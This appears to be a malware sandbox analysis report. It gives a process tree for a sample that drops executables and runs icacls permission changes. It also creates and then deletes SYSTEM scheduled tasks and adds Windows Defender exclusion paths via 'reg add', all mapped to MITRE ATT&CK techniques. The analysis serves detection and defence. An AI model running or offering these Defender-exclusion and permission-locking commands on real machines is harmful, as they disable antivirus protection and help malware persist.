    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\UpaYo8.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6040
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\UpaYo8.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5712
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\UpaYo8.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\UpaYo8.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:348
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\UpaYo8.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\UpaYo8.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5664
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6108
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5132
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1212
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2236
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1992
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5076
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1208
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5752
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:2360
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4468
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2816
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3012
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2260
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2948
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:5528
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5892
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\UpaYo8\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3320
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\UpaYo8\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1660
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:1380
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5876
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1912
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4120
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3032
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1972
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2868

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RgBEtf" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4732
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\RgBEtf" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5824

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5932

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1092

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4972
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4860

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1720
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1972

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4880
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5408

C:\Program Files (x86)\UpaYo8\UpaYo8.exe
"C:\Program Files (x86)\UpaYo8\UpaYo8.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2220

C:\Program Files (x86)\k963Fq9\3pJUVqgF.exe
"C:\Program Files (x86)\k963Fq9\3pJUVqgF.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4492

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\UpaYo8" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4512
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\UpaYo8" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4224

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5764
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1648

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4860
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5620

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery